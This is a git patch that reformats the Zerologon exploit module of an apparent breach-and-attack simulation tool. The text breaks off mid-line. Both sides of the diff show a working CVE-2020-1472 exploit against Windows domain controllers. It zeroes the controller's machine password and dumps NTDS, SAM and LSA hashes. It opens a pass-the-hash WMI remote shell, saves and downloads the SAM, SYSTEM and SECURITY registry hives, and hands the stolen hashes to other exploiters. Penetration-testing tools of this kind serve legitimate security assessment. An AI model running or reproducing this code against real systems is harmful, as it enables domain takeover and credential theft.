From 6883e4a5f1863cdce35342460b25abfbade66e49 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 20 Feb 2021 01:10:38 +0530 Subject: [PATCH] Format all zerologon files with black --- monkey/infection_monkey/exploit/zerologon.py | 340 +++++++++++------- .../exploit/zerologon_utils/dump_secrets.py | 111 ++++-- .../exploit/zerologon_utils/options.py | 13 +- .../exploit/zerologon_utils/remote_shell.py | 76 ++-- .../exploit/zerologon_utils/wmiexec.py | 45 ++- 5 files changed, 363 insertions(+), 222 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 75faa93c5..8c99118de 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -17,8 +17,7 @@ from impacket.dcerpc.v5.dtypes import NULL from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets -from infection_monkey.exploit.zerologon_utils.options import \ - OptionsForSecretsdump +from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.utils.capture_output import StdoutCapture @@ -27,21 +26,23 @@ LOG = logging.getLogger(__name__) class ZerologonExploiter(HostExploiter): - _TARGET_OS_TYPE = ['windows'] - _EXPLOITED_SERVICE = 'Netlogon' + _TARGET_OS_TYPE = ["windows"] + _EXPLOITED_SERVICE = "Netlogon" EXPLOIT_TYPE = ExploitType.VULNERABILITY RUNS_AGENT_ON_SUCCESS = False MAX_ATTEMPTS = 2000 - ERROR_CODE_ACCESS_DENIED = 0xc0000022 + ERROR_CODE_ACCESS_DENIED = 0xC0000022 def __init__(self, host: object): super().__init__(host) self.vulnerable_port = None - self.exploit_info['credentials'] = {} + self.exploit_info["credentials"] = {} self._extracted_creds = {} def _exploit_host(self) -> bool: - self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details(self.host) + self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details( + self.host + ) is_exploitable, rpc_con = self.is_exploitable() if is_exploitable: @@ -54,7 +55,9 @@ class ZerologonExploiter(HostExploiter): rpc_con.disconnect() else: - LOG.info("Exploit not attempted. Target is most likely patched, or an error was encountered.") + LOG.info( + "Exploit not attempted. Target is most likely patched, or an error was encountered." + ) return False # Restore DC's original password. @@ -73,7 +76,7 @@ class ZerologonExploiter(HostExploiter): def get_dc_details(host: object) -> (str, str, str): dc_ip = host.ip_addr dc_name = ZerologonExploiter.get_dc_name(dc_ip=dc_ip) - dc_handle = '\\\\' + dc_name + dc_handle = "\\\\" + dc_name return dc_ip, dc_name, dc_handle @staticmethod @@ -83,10 +86,12 @@ class ZerologonExploiter(HostExploiter): """ try: nb = nmb.NetBIOS.NetBIOS() - name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None - return name[0] if name else '' + name = nb.queryIPForName( + ip=dc_ip + ) # returns either a list of NetBIOS names or None + return name[0] if name else "" except BaseException as ex: - LOG.info(f'Exception: {ex}') + LOG.info(f"Exception: {ex}") def is_exploitable(self) -> (bool, object): # Connect to the DC's Netlogon service. @@ -110,39 +115,46 @@ class ZerologonExploiter(HostExploiter): @staticmethod def connect_to_dc(dc_ip) -> object: - binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con def _try_zero_authenticate(self, rpc_con: object) -> object: - plaintext = b'\x00' * 8 - ciphertext = b'\x00' * 8 - flags = 0x212fffff + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 + flags = 0x212FFFFF # Send challenge and authentication request. nrpc.hNetrServerReqChallenge( - rpc_con, self.dc_handle + '\x00', self.dc_name + '\x00', plaintext) + rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext + ) try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, self.dc_handle + '\x00', self.dc_name + - '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + '\x00', ciphertext, flags + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "$\x00", + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + "\x00", + ciphertext, + flags, ) - assert server_auth['ErrorCode'] == 0 + assert server_auth["ErrorCode"] == 0 return rpc_con except nrpc.DCERPCSessionError as ex: - if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue. + if ( + ex.get_error_code() == 0xC0000022 + ): # STATUS_ACCESS_DENIED error; if not this, probably some other issue. pass else: - raise Exception(f'Unexpected error code: {ex.get_error_code()}.') + raise Exception(f"Unexpected error code: {ex.get_error_code()}.") except BaseException as ex: - raise Exception(f'Unexpected error: {ex}.') + raise Exception(f"Unexpected error: {ex}.") def _send_exploit_rpc_login_requests(self, rpc_con) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. @@ -170,32 +182,36 @@ class ZerologonExploiter(HostExploiter): def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() ZerologonExploiter._set_up_request(request, self.dc_name) - request['PrimaryName'] = self.dc_handle + '\x00' - request['ClearNewPassword'] = b'\x00' * 516 + request["PrimaryName"] = self.dc_handle + "\x00" + request["ClearNewPassword"] = b"\x00" * 516 return rpc_con.request(request) @staticmethod def _set_up_request(request: object, dc_name: str) -> None: authenticator = nrpc.NETLOGON_AUTHENTICATOR() - authenticator['Credential'] = b'\x00' * 8 - authenticator['Timestamp'] = b'\x00' * 4 + authenticator["Credential"] = b"\x00" * 8 + authenticator["Timestamp"] = b"\x00" * 4 - request['AccountName'] = dc_name + '$\x00' - request['ComputerName'] = dc_name + '\x00' - request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - request['Authenticator'] = authenticator + request["AccountName"] = dc_name + "$\x00" + request["ComputerName"] = dc_name + "\x00" + request[ + "SecureChannelType" + ] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel + request["Authenticator"] = authenticator def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool: if exploit_attempt_result: - if exploit_attempt_result['ErrorCode'] == 0: + if exploit_attempt_result["ErrorCode"] == 0: self.report_login_attempt(result=True, user=self.dc_name) _exploited = True LOG.info("Exploit complete!") else: self.report_login_attempt(result=False, user=self.dc_name) _exploited = False - LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.") + LOG.info( + f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong." + ) return _exploited return False @@ -210,20 +226,29 @@ class ZerologonExploiter(HostExploiter): LOG.debug("DCSync; getting usernames and their passwords' hashes.") user_creds = self.get_all_user_creds() if not user_creds: - raise Exception("Couldn't extract any usernames and/or their passwords' hashes.") + raise Exception( + "Couldn't extract any usernames and/or their passwords' hashes." + ) # Use above extracted credentials to get original DC password's hashes. LOG.debug("Getting original DC password's NT hash.") original_pwd_nthash = None for user_details in user_creds: username = user_details[0] - user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']] + user_pwd_hashes = [ + user_details[1]["lm_hash"], + user_details[1]["nt_hash"], + ] try: - original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes)) + original_pwd_nthash = self.get_original_pwd_nthash( + username, ":".join(user_pwd_hashes) + ) if original_pwd_nthash: break except Exception as e: - LOG.info(f"Credentials \"{user_details}\" didn't work. Exception: {str(e)}") + LOG.info( + f'Credentials "{user_details}" didn\'t work. Exception: {str(e)}' + ) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's NT hash.") @@ -237,7 +262,9 @@ class ZerologonExploiter(HostExploiter): # Start restoration attempts. LOG.debug("Attempting password restoration.") - _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash) + _restored = self._send_restoration_rpc_login_requests( + rpc_con, original_pwd_nthash + ) if not _restored: raise Exception("Failed to restore password! Max attempts exceeded?") @@ -256,77 +283,96 @@ class ZerologonExploiter(HostExploiter): options = OptionsForSecretsdump( target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" target_ip=self.dc_ip, - dc_ip=self.dc_ip + dc_ip=self.dc_ip, ) - dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip, - username=f"{self.dc_name}$", - options=options) + dumped_secrets = self.get_dumped_secrets( + remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options + ) self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets) creds_to_use_for_getting_original_pwd_hashes = [] - admin = 'Administrator' + admin = "Administrator" for user in self._extracted_creds.keys(): if user == admin: # most likely to work so try this first - creds_to_use_for_getting_original_pwd_hashes.insert(0, (user, self._extracted_creds[user])) + creds_to_use_for_getting_original_pwd_hashes.insert( + 0, (user, self._extracted_creds[user]) + ) else: - creds_to_use_for_getting_original_pwd_hashes.append((user, self._extracted_creds[user])) + creds_to_use_for_getting_original_pwd_hashes.append( + (user, self._extracted_creds[user]) + ) return creds_to_use_for_getting_original_pwd_hashes except Exception as e: - LOG.info(f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}") + LOG.info( + f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}" + ) return None - def get_dumped_secrets(self, - remote_name: str = '', - username: str = '', - options: Optional[object] = None) -> List[str]: - dumper = DumpSecrets(remote_name=remote_name, - username=username, - options=options) - dumped_secrets = dumper.dump().split('\n') + def get_dumped_secrets( + self, + remote_name: str = "", + username: str = "", + options: Optional[object] = None, + ) -> List[str]: + dumper = DumpSecrets( + remote_name=remote_name, username=username, options=options + ) + dumped_secrets = dumper.dump().split("\n") return dumped_secrets def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None: # format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::" - re_phrase =\ - r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])' + re_phrase = r"([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])" for line in dumped_secrets: secret = re.fullmatch(pattern=re_phrase, string=line) if secret: - parts_of_secret = secret[0].split(':') - user = parts_of_secret[0].split('\\')[-1] # we don't want the domain + parts_of_secret = secret[0].split(":") + user = parts_of_secret[0].split("\\")[-1] # we don't want the domain user_RID, lmhash, nthash = parts_of_secret[1:4] - self._extracted_creds[user] = {'RID': int(user_RID), # relative identifier - 'lm_hash': lmhash, - 'nt_hash': nthash} + self._extracted_creds[user] = { + "RID": int(user_RID), # relative identifier + "lm_hash": lmhash, + "nt_hash": nthash, + } def store_extracted_creds_for_exploitation(self) -> None: for user in self._extracted_creds.keys(): - self.add_extracted_creds_to_exploit_info(user, - self._extracted_creds[user]['lm_hash'], - self._extracted_creds[user]['nt_hash']) - self.add_extracted_creds_to_monkey_config(user, - self._extracted_creds[user]['lm_hash'], - self._extracted_creds[user]['nt_hash']) + self.add_extracted_creds_to_exploit_info( + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], + ) + self.add_extracted_creds_to_monkey_config( + user, + self._extracted_creds[user]["lm_hash"], + self._extracted_creds[user]["nt_hash"], + ) - def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: - self.exploit_info['credentials'].update({ - user: { - 'username': user, - 'password': '', - 'lm_hash': lmhash, - 'ntlm_hash': nthash + def add_extracted_creds_to_exploit_info( + self, user: str, lmhash: str, nthash: str + ) -> None: + self.exploit_info["credentials"].update( + { + user: { + "username": user, + "password": "", + "lm_hash": lmhash, + "ntlm_hash": nthash, + } } - }) + ) # so other exploiters can use these creds - def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: + def add_extracted_creds_to_monkey_config( + self, user: str, lmhash: str, nthash: str + ) -> None: if user not in self._config.exploit_user_list: self._config.exploit_user_list.append(user) @@ -344,49 +390,56 @@ class ZerologonExploiter(HostExploiter): options = OptionsForSecretsdump( dc_ip=self.dc_ip, just_dc=False, - system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), - sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), - security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') + system=os.path.join(os.path.expanduser("~"), "monkey-system.save"), + sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"), + security=os.path.join(os.path.expanduser("~"), "monkey-security.save"), ) - dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', - options=options) + dumped_secrets = self.get_dumped_secrets( + remote_name="LOCAL", options=options + ) for secret in dumped_secrets: - if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" - nthash = secret.split(':')[2] + if ( + "$MACHINE.ACC: " in secret + ): # format of secret - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(":")[2] return nthash except Exception as e: - LOG.info(f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}") + LOG.info( + f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}" + ) finally: self.remove_locally_saved_HKLM_keys() def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool: - LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ") + LOG.debug( + f'Starting remote shell on victim with user: "{username}" and hashes: "{user_pwd_hashes}". ' + ) - wmiexec = Wmiexec(ip=self.dc_ip, - username=username, - hashes=user_pwd_hashes, - domain=self.dc_ip) + wmiexec = Wmiexec( + ip=self.dc_ip, username=username, hashes=user_pwd_hashes, domain=self.dc_ip + ) remote_shell = wmiexec.get_remote_shell() if remote_shell: with StdoutCapture() as output_captor: try: # Save HKLM keys on victim. - remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + - 'reg save HKLM\\SAM sam.save && ' + - 'reg save HKLM\\SECURITY security.save') + remote_shell.onecmd( + "reg save HKLM\\SYSTEM system.save && " + + "reg save HKLM\\SAM sam.save && " + + "reg save HKLM\\SECURITY security.save" + ) # Get HKLM keys locally (can't run these together because it needs to call do_get()). - remote_shell.onecmd('get system.save') - remote_shell.onecmd('get sam.save') - remote_shell.onecmd('get security.save') + remote_shell.onecmd("get system.save") + remote_shell.onecmd("get sam.save") + remote_shell.onecmd("get security.save") # Delete saved keys on victim. - remote_shell.onecmd( - 'del /f system.save sam.save security.save') + remote_shell.onecmd("del /f system.save sam.save security.save") wmiexec.close() @@ -405,27 +458,39 @@ class ZerologonExploiter(HostExploiter): return False def remove_locally_saved_HKLM_keys(self) -> None: - for name in ['system', 'sam', 'security']: - path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + for name in ["system", "sam", "security"]: + path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save") try: os.remove(path) except Exception as e: - LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") + LOG.info( + f"Exception occurred while removing file {path} from system: {str(e)}" + ) - def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool: + def _send_restoration_rpc_login_requests( + self, rpc_con, original_pwd_nthash + ) -> bool: # Max attempts = 2000. Expected average number of attempts needed: 256. for _ in range(0, self.MAX_ATTEMPTS): - restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash) + restoration_attempt_result = self.try_restoration_attempt( + rpc_con, original_pwd_nthash + ) - is_restored = self.assess_restoration_attempt_result(restoration_attempt_result) + is_restored = self.assess_restoration_attempt_result( + restoration_attempt_result + ) if is_restored: return is_restored return False - def try_restoration_attempt(self, rpc_con: object, original_pwd_nthash: str) -> bool: + def try_restoration_attempt( + self, rpc_con: object, original_pwd_nthash: str + ) -> bool: try: - restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash) + restoration_attempt_result = self.attempt_restoration( + rpc_con, original_pwd_nthash + ) return restoration_attempt_result except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. @@ -437,36 +502,47 @@ class ZerologonExploiter(HostExploiter): return False - def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]: - plaintext = b'\x00'*8 - ciphertext = b'\x00'*8 - flags = 0x212fffff + def attempt_restoration( + self, rpc_con: object, original_pwd_nthash: str + ) -> Optional[object]: + plaintext = b"\x00" * 8 + ciphertext = b"\x00" * 8 + flags = 0x212FFFFF # Send challenge and authentication request. - server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.dc_handle + '\x00', - self.dc_name + '\x00', plaintext) - server_challenge = server_challenge_response['ServerChallenge'] + server_challenge_response = nrpc.hNetrServerReqChallenge( + rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext + ) + server_challenge = server_challenge_response["ServerChallenge"] server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', + rpc_con, + self.dc_handle + "\x00", + self.dc_name + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + '\x00', ciphertext, flags + self.dc_name + "\x00", + ciphertext, + flags, ) - assert server_auth['ErrorCode'] == 0 - session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, - unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) + assert server_auth["ErrorCode"] == 0 + session_key = nrpc.ComputeSessionKeyAES( + None, + b"\x00" * 8, + server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), + ) try: nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse - nrpc.OPNUMS[6] = (NetrServerPasswordSet, - nrpc.NetrServerPasswordSetResponse) + nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() ZerologonExploiter._set_up_request(request, self.dc_name) - request['PrimaryName'] = NULL + request["PrimaryName"] = NULL pwd_data = impacket.crypto.SamEncryptNTLMHash( - unhexlify(original_pwd_nthash), session_key) + unhexlify(original_pwd_nthash), session_key + ) request["UasNewPassword"] = pwd_data rpc_con.request(request) @@ -478,7 +554,9 @@ class ZerologonExploiter(HostExploiter): def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool: if restoration_attempt_result: - LOG.debug("DC machine account password should be restored to its original value.") + LOG.debug( + "DC machine account password should be restored to its original value." + ) return True return False @@ -487,17 +565,17 @@ class ZerologonExploiter(HostExploiter): class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6 structure = ( - ('PrimaryName', nrpc.PLOGONSRV_HANDLE), - ('AccountName', nrpc.WSTR), - ('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE), - ('ComputerName', nrpc.WSTR), - ('Authenticator', nrpc.NETLOGON_AUTHENTICATOR), - ('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD), + ("PrimaryName", nrpc.PLOGONSRV_HANDLE), + ("AccountName", nrpc.WSTR), + ("SecureChannelType", nrpc.NETLOGON_SECURE_CHANNEL_TYPE), + ("ComputerName", nrpc.WSTR), + ("Authenticator", nrpc.NETLOGON_AUTHENTICATOR), + ("UasNewPassword", nrpc.ENCRYPTED_NT_OWF_PASSWORD), ) class NetrServerPasswordSetResponse(nrpc.NDRCALL): structure = ( - ('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR), - ('ErrorCode', nrpc.NTSTATUS), + ("ReturnAuthenticator", nrpc.NETLOGON_AUTHENTICATOR), + ("ErrorCode", nrpc.NTSTATUS), ) diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 491418687..524089338 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -47,9 +47,13 @@ import logging import os import traceback -from impacket.examples.secretsdump import (LocalOperations, LSASecrets, - NTDSHashes, RemoteOperations, - SAMHashes) +from impacket.examples.secretsdump import ( + LocalOperations, + LSASecrets, + NTDSHashes, + RemoteOperations, + SAMHashes, +) from impacket.smbconnection import SMBConnection from infection_monkey.utils.capture_output import StdoutCapture @@ -60,15 +64,15 @@ LOG = logging.getLogger(__name__) # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py # Used to get Administrator and original DC passwords' hashes class DumpSecrets: - def __init__(self, remote_name, username='', password='', domain='', options=None): + def __init__(self, remote_name, username="", password="", domain="", options=None): self.__use_VSS_method = options.use_vss self.__remote_name = remote_name self.__remote_host = options.target_ip self.__username = username self.__password = password self.__domain = domain - self.__lmhash = '' - self.__nthash = '' + self.__lmhash = "" + self.__nthash = "" self.__smb_connection = None self.__remote_ops = None self.__SAM_hashes = None @@ -89,20 +93,24 @@ class DumpSecrets: self.__options = options if options.hashes is not None: - self.__lmhash, self.__nthash = options.hashes.split(':') + self.__lmhash, self.__nthash = options.hashes.split(":") def connect(self): - self.__smb_connection = SMBConnection( - self.__remote_name, self.__remote_host) + self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) self.__smb_connection.login( - self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + ) def dump(self): with StdoutCapture() as output_captor: - dumped_secrets = '' + dumped_secrets = "" try: - if self.__remote_name.upper() == 'LOCAL' and self.__username == '': + if self.__remote_name.upper() == "LOCAL" and self.__username == "": self.__is_remote = False self.__use_VSS_method = True if self.__system_hive: @@ -113,6 +121,7 @@ class DumpSecrets: self.__no_lmhash = local_operations.checkNoLMHashPolicy() else: import binascii + bootkey = binascii.unhexlify(self.__bootkey) else: @@ -122,36 +131,55 @@ class DumpSecrets: try: self.connect() except Exception as e: - if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True: + if ( + os.getenv("KRB5CCNAME") is not None + and self.__do_kerberos is True + ): # SMBConnection failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work LOG.debug( - 'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) + "SMBConnection didn't work, hoping Kerberos will help (%s)" + % str(e) + ) else: raise self.__remote_ops = RemoteOperations( - self.__smb_connection, self.__do_kerberos, self.__kdc_host) + self.__smb_connection, self.__do_kerberos, self.__kdc_host + ) self.__remote_ops.setExecMethod(self.__options.exec_method) - if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True: + if ( + self.__just_DC is False + and self.__just_DC_NTLM is False + or self.__use_VSS_method is True + ): self.__remote_ops.enableRegistry() bootkey = self.__remote_ops.getBootKey() # Let's check whether target system stores LM Hashes. self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy() except Exception as e: self.__can_process_SAM_LSA = False - if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ - and self.__do_kerberos is True: + if ( + str(e).find("STATUS_USER_SESSION_DELETED") + and os.getenv("KRB5CCNAME") is not None + and self.__do_kerberos is True + ): # Giving some hints here when SPN target name validation is set to something different to Off. # This will prevent establishing SMB connections using TGS for SPNs different to cifs/. - LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' + - 'Try -just-dc-user') + LOG.error( + "Policy SPN target name validation might be restricting full DRSUAPI dump." + + "Try -just-dc-user" + ) else: - LOG.error('RemoteOperations failed: %s' % str(e)) + LOG.error("RemoteOperations failed: %s" % str(e)) # If RemoteOperations succeeded, then we can extract SAM and LSA. - if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA: + if ( + self.__just_DC is False + and self.__just_DC_NTLM is False + and self.__can_process_SAM_LSA + ): try: if self.__is_remote is True: SAM_file_name = self.__remote_ops.saveSAM() @@ -159,10 +187,11 @@ class DumpSecrets: SAM_file_name = self.__sam_hive self.__SAM_hashes = SAMHashes( - SAM_file_name, bootkey, isRemote=self.__is_remote) + SAM_file_name, bootkey, isRemote=self.__is_remote + ) self.__SAM_hashes.dump() except Exception as e: - LOG.error('SAM hashes extraction failed: %s' % str(e)) + LOG.error("SAM hashes extraction failed: %s" % str(e)) try: if self.__is_remote is True: @@ -170,13 +199,17 @@ class DumpSecrets: else: SECURITY_file_name = self.__security_hive - self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops, - isRemote=self.__is_remote) + self.__LSA_secrets = LSASecrets( + SECURITY_file_name, + bootkey, + self.__remote_ops, + isRemote=self.__is_remote, + ) self.__LSA_secrets.dumpCachedHashes() self.__LSA_secrets.dumpSecrets() except Exception as e: LOG.debug(traceback.print_exc()) - LOG.error('LSA hashes extraction failed: %s' % str(e)) + LOG.error("LSA hashes extraction failed: %s" % str(e)) # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work. if self.__is_remote is True: @@ -187,15 +220,20 @@ class DumpSecrets: else: NTDS_file_name = self.__ntds_file - self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, - noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops, - useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM, - ) + self.__NTDS_hashes = NTDSHashes( + NTDS_file_name, + bootkey, + isRemote=self.__is_remote, + noLMHash=self.__no_lmhash, + remoteOps=self.__remote_ops, + useVSSMethod=self.__use_VSS_method, + justNTLM=self.__just_DC_NTLM, + ) try: self.__NTDS_hashes.dump() except Exception as e: LOG.debug(traceback.print_exc()) - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. resume_file = self.__NTDS_hashes.getResumeSessionFile() @@ -204,7 +242,8 @@ class DumpSecrets: LOG.error(e) if self.__use_VSS_method is False: LOG.error( - 'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + "Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter" + ) self.cleanup() except (Exception, KeyboardInterrupt) as e: LOG.debug(traceback.print_exc()) @@ -219,11 +258,13 @@ class DumpSecrets: except Exception: pass finally: - dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys + dumped_secrets = ( + output_captor.get_captured_stdout_output() + ) # includes hashes and kerberos keys return dumped_secrets def cleanup(self): - LOG.debug('Cleaning up...') + LOG.debug("Cleaning up...") if self.__remote_ops: self.__remote_ops.finish() if self.__SAM_hashes: diff --git a/monkey/infection_monkey/exploit/zerologon_utils/options.py b/monkey/infection_monkey/exploit/zerologon_utils/options.py index 61aab4440..32cdfe40f 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/options.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/options.py @@ -7,7 +7,7 @@ class OptionsForSecretsdump: can_process_SAM_LSA = True dc_ip = None debug = False - exec_method = 'smbexec' + exec_method = "smbexec" hashes = None is_remote = True just_dc = True @@ -25,7 +25,16 @@ class OptionsForSecretsdump: ts = False use_vss = False - def __init__(self, dc_ip=None, just_dc=True, sam=None, security=None, system=None, target=None, target_ip=None): + def __init__( + self, + dc_ip=None, + just_dc=True, + sam=None, + security=None, + system=None, + target=None, + target_ip=None, + ): # dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py self.dc_ip = dc_ip # just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py diff --git a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py index dc0088d07..146d58615 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py @@ -61,32 +61,34 @@ class RemoteShell(cmd.Cmd): def __init__(self, share, win32Process, smbConnection, outputFilename): cmd.Cmd.__init__(self) self.__share = share - self.__output = '\\' + outputFilename - self.__outputBuffer = str('') - self.__shell = 'cmd.exe /Q /c ' + self.__output = "\\" + outputFilename + self.__outputBuffer = str("") + self.__shell = "cmd.exe /Q /c " self.__win32Process = win32Process self.__transferClient = smbConnection - self.__pwd = str('C:\\') + self.__pwd = str("C:\\") self.__noOutput = False # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: self.__transferClient.setTimeout(100000) - self.do_cd('\\') + self.do_cd("\\") else: self.__noOutput = True def do_get(self, src_path): try: import ntpath + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) local_file_path = os.path.join( - os.path.expanduser('~'), 'monkey-'+filename) - fh = open(local_file_path, 'wb') + os.path.expanduser("~"), "monkey-" + filename + ) + fh = open(local_file_path, "wb") LOG.info("Downloading %s\\%s" % (drive, tail)) - self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) + self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write) fh.close() except Exception as e: LOG.error(str(e)) @@ -97,35 +99,35 @@ class RemoteShell(cmd.Cmd): return True def do_cd(self, s): - self.execute_remote('cd ' + s) - if len(self.__outputBuffer.strip('\r\n')) > 0: + self.execute_remote("cd " + s) + if len(self.__outputBuffer.strip("\r\n")) > 0: print(self.__outputBuffer) - self.__outputBuffer = '' + self.__outputBuffer = "" else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) - self.execute_remote('cd ') - self.__pwd = 